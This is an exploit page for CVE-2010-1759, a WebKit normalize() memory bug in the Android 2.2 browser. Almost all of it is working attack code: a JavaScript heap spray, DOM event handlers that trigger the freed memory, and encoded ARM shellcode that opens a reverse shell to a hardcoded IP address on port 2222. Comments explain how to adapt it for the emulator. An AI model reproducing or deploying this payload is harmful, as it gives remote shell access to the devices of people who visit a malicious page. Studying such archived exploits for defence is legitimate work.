Android 2.2 Webkit Normalize

`<!--  
CVE-2010-1759 webkit normalize bug  
Tested on  
Moto Droidx2 running 2.2. Droidx2 running 2.3 is vulnerable but exploit fails due to non-executable heap. Still working on a way around that :)  
2.1 - 2.3 emulator. The changes needed are documented in the code. The emulator is less consistent than the real phone  
Author: MJ Keith mjkeith[at]evilhippie.org  
-->  
<p>LOADING... </p>  
<div id="test1"></div>  
<div id="test2"></div>  
<div id="test3"></div>  
<script>  
var elem1 = document.getElementById("test1");  
var elem2 = document.getElementById("test2");  
var elem3 = document.getElementById("test3");  
function spray()  
{  
for (var i = 0; i < 180000; i++) {var s = new String(unescape("\u0052\u0052")); } // "\u0056\u0056" FOR EMULATOR  
var scode = unescape("\u5200\u5200"); // "\u0058\u0058" FOR EMULATOR  
var scode2 = unescape("\u5005\ue1a0");  
var shell = unescape("\u0002\ue3a0\u1001\ue3a0\u2005\ue281\u708c\ue3a0\u708d\ue287\u0080\uef00\u6000\ue1a0\u1084\ue28f\u2010\ue3a0\u708d\ue3a0\u708e\ue287\u0080\uef00\u0006\ue1a0\u1000\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1001\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1002\ue3a0\u703f\ue3a0\u0080\uef00\u2001\ue28f\uff12\ue12f\u4040\u2717\udf80\ua005\ua508\u4076\u602e\u1b6d\ub420\ub401\u4669\u4052\u270b\udf80\u2f2f\u732f\u7379\u6574\u2f6d\u6962\u2f6e\u6873\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u0002");  
shell += unescape("\uae08"); // Port = 2222  
shell += unescape("\ua8c0\u0901"); // IP = 192.168.1.9 // "\u000a\u0202" FOR EMULATOR  
shell += unescape("\u2000\u2000"); // Port = 2222  
do  
{  
scode += scode;  
scode2 += scode2;  
} while (scode.length<=0x1000);  
scode2 += shell  
target = new Array();  
for(i = 0; i < 141; i++){ // CHANGE 141 TO 201 FOR EMULATOR  
if (i<100){ target[i] = scode;}  
if (i>100){ target[i] = scode2;}  
document.write(target[i]);  
document.write("<br />");  
if (i>140){ // CHANGE 140 TO 200 FOR EMULATOR  
document.write("<br />");}  
}  
}  
function handler1()  
{  
elem1.removeAttribute("b");  
spray();  
}  
function handler2()  
{  
elem2.removeAttribute("b");  
spray();  
}  
function handler3()  
{  
elem3.removeAttribute("b");  
spray();  
}  
function slowdown()  
{  
for (var i = 0; i < 120; i++) { console.log('slow' + i);  
if (i > 110 ){ elem1.normalize(); elem2.normalize(); elem3.normalize();  
}  
}  
}  
elem1.setAttribute("b", "a");  
elem1.attributes[0].appendChild(document.createTextNode("hi"));  
elem1.attributes[0].addEventListener("DOMSubtreeModified", handler2, false);  
document.body.offsetTop;  
slowdown(); // COMMENT OUT THIS FUNCTION CALL FOR EMULATOR  
//elem1.normalize(); // UN-COMMENT THIS LINE FOR EMULATOR  
document.body.offsetTop;  
elem2.setAttribute("b", "a");  
elem2.attributes[0].appendChild(document.createTextNode("hi"));  
elem2.attributes[0].addEventListener("DOMSubtreeModified", handler2, false);  
document.body.offsetTop;  
elem2.normalize();  
elem3.setAttribute("b", "a");  
elem3.attributes[0].appendChild(document.createTextNode("hi"));  
elem3.attributes[0].addEventListener("DOMSubtreeModified", handler3, false);  
document.body.offsetTop;  
elem3.normalize();  
</script>  
  
  
`